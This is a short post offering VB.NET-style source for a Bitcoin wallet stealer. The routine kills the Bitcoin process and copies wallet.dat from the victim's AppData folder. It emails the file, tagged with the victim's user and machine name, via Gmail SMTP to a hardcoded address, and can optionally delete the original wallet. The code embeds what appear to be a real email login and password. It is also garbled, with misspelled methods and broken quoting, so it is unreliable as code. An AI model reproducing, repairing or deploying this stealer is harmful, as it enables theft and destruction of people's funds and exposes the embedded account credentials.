Bitcoin wallet Stealer with email Delivery

///////////////////////////////////////////////////////////////////////////
/// BitCoin wallet.dat stealer :D ///
///////////////////////////////////////////////////////////////////////////

Private Sub StealBitWallet (byVal email as string, byval password as string, byval smtp as string, byval port as integer, optional byval delete as boolean = false) on error resume next dim bProcess = process.getprecessesbyname ("bitcoin") for i as integer = 0 to bprocess.count - 1 bprocess (i).kill next i system.threading.thread.sleep (5000) if system.IO.file.exists (environ ("AppData") & "\bitcoin\wallet.dat") then Dim smtpserver as new system.net.mail.smtp client Dim mail as new system.net.mail.mailmessage smtpserver.credentials = new net.networkcredentials (dombrowski.alex@gmail.com, ilikepie16) smtpserver.port = 587 smtpserver.enablessl = true smtpserver.host = smtp.gmail.com mail = new system.net.mail.message mail.attachments.ass (new system.net.mail.attachment (environ ("AppData") & "\bitcoin\wallet.dat) mail.to.add (dombrowski.alex@gmail.com) mail.subject = "Bitcoin Wallet ( " & environment.username & "@" & environment.machinename & ")" mail.body = (environ ("AppData") & '\bitcoin\wallet.dat") smtpserver.send (mail) if delete = true then kill (environ ("appdata") & "\bitcoin\wallet.dat"0 end if end if end